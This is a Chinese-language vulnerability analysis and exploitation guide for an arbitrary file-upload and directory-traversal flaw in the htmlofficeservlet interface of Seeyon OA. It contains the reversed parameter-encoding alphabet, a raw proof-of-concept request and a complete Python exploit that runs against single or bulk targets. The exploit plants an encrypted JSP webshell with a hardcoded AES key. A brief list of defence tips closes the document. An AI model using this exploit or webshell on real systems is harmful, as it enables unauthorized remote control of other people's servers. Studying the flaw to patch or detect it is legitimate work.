seeyonOA----htmlofficeservlet文件上传
字数 1210 2025-08-09 13:33:40
致远OA htmlofficeservlet文件上传漏洞分析与利用
漏洞概述
致远OA系统中的htmlofficeservlet接口存在文件上传漏洞,攻击者可以通过构造特殊的请求,实现任意文件上传,进而获取服务器权限。
漏洞分析
漏洞位置
漏洞存在于seeyon-apps-common.jar中的htmlofficeservlet接口。
关键代码分析
- 入口点 -
doGet方法中的处理逻辑:
HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager");
iMsgServer2000 msgObj = new iMsgServer2000();
handWriteManager.readVariant(request, msgObj);
- iMsgServer2000类 - 负责加解密操作:
- 使用变异的凯撒密码进行参数加密/解密
- 符号表顺序被打乱替换后重新对应
- HandWriteManager.readVariant方法:
public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
msgObj.ReadPackage(request);
log.info("RECORDID:" + msgObj.GetMsgByName("RECORDID") + " CREATEDATE:" + msgObj.GetMsgByName("CREATEDATE") + " originalFileId:" + msgObj.GetMsgByName("originalFileId") + " needReadFile:" + msgObj.GetMsgByName("needReadFile"));
this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID"));
this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE"));
String _originalFileId = msgObj.GetMsgByName("originalFileId");
this.needClone = _originalFileId != null && !"".equals(_originalFileId.trim());
this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile"));
if (this.needClone) {
String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate");
this.originalFileId = Long.valueOf(_originalFileId);
this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate);
}
}
- 文件上传关键点:
- 通过
OPTION=SAVEASIMG触发文件保存逻辑 - 使用
MsgFileSave方法实现文件写入 - 文件名处理允许目录穿越(如
..ApacheJetspeed\webapps\seeyon\filename)
漏洞利用条件
originalFileId参数不能为null且不能为空字符串OPTION参数解密后为SAVEASIMG- 能够构造有效的加密文件名实现目录穿越
漏洞利用
POC构造
基本POC结构:
DBSTEP V3.0 355 0 600
DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTda7u5aWs5qQhdVaxJeAJQBRl3dExQyYOdarNQeRWsdrzdarzQyaQvcQhdd1lHNYQ5qRjidg66
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
关键参数说明
- 355和600:表示从355字节位置开始读取600个字节长度内容(需根据实际情况调整)
- FILENAME:加密后的文件名(需包含目录穿越部分)
- 文件内容:放在POC最后部分
文件名加密
-
使用变异凯撒密码进行加密
-
符号表对应关系:
- 原始:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= - 目标:
gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6
- 原始:
-
加密工具:
- 可使用提供的Java工具
seeyon-1.0-SNAPSHOT.jar - 也可用Python脚本实现转换
- 可使用提供的Java工具
漏洞利用工具
Python利用脚本
import argparse
import base64
import subprocess
import requests
def Args():
parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,description='''seeyon htmlofficeservlet upload!!!''')
parser.add_argument('-u', '--url', help="please input URL")
parser.add_argument('-f', '--file', help="please input URL file")
parser.add_argument('-n', '--name', help="please input shell name")
args = parser.parse_args()
if args.name is None or args.url is None or args.name is None:
print(parser.print_help())
exit()
else:
return args
def encode(file_name):
name = ''
a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
b = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
popen = subprocess.Popen(['java', '-jar', 'seeyon-1.0-SNAPSHOT.jar',file_name],stdout=subprocess.PIPE)
result=popen.stdout.read()
for i in result[:-2].decode():
name += b[a.index(i)]
return name
def attack(url,shellname,shelladdress):
reaurl = url + "seeyon/htmlofficeservlet"
length = str(473 + len(shellname))
payload = """DBSTEP V3.0 385 0 """ + length + """ DBSTEP=OKMLlKlV\r
OPTION=S3WYOSWLBSGr\r
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r
CREATEDATE=wUghPB3szB3Xwg66\r
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r
originalFileId=wV66\r
originalCreateDate=wUghPB3szB3Xwg66\r
FILENAME=""" + shellname + """\r
needReadFile=yRWZdAS6\r
originalCreateDate=wLSGP4oEzLKAz4=iz=66\r
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>6e4f045d4b8506bf492ada7e3390d7ce"""
headers = {
"Cache-Control": "max-age=0",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0(Windows NT 10.0;Win64;x64) AppleWebKit/537.36(KHTML, likeGecko) Chrome/92.0.4515.159 Safari/537.36",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Connection": "close"
}
response = requests.post(url=reaurl, data=payload, headers=headers)
response2 = requests.get(url=url + 'seeyon/' +shelladdress)
if '6e' in response2.text:
print(url + 'seeyon/' +shelladdress+ ' shell upload success!!!')
else:
print('fail')
def readfile(urlpath):
list = []
with open(urlpath, "r") as f:
line = f.readlines()
for i in line:
if '/' == i.strip()[:-1]:
i = i.strip()
else:
i = i.strip()+'/'
list.append(i)
return list
def main():
args = Args()
shellname = encode(args.name)
if args.url is not None and args.file is None:
if '/' == args.url[:-1]:
args.url = args.url
else:
args.url = args.url + '/'
attack(args.url,shellname,args.name)
elif args.url is None and args.file is not None:
urllist = readfile(args.file)
for i in urllist:
attack(i,shellname,args.name)
if __name__ == "__main__":
main()
使用说明
- 依赖文件:
seeyon-1.0-SNAPSHOT.jar(用于文件名加密) - 参数说明:
-u:目标URL-f:目标URL文件(批量检测)-n:Webshell文件名
防御建议
- 升级致远OA到最新版本
- 对
htmlofficeservlet接口进行访问控制 - 检查并删除已上传的恶意文件
- 实施文件上传白名单机制
- 禁用不必要的Servlet接口
总结
该漏洞利用致远OA系统中htmlofficeservlet接口的文件上传功能,通过精心构造的请求实现任意文件上传。漏洞的关键在于:
- 参数加密机制可被逆向
- 文件名处理允许目录穿越
- 文件内容处理未做严格过滤
理解该漏洞需要对Java Web开发和致远OA架构有一定了解,特别是其自定义的加密机制和文件处理逻辑。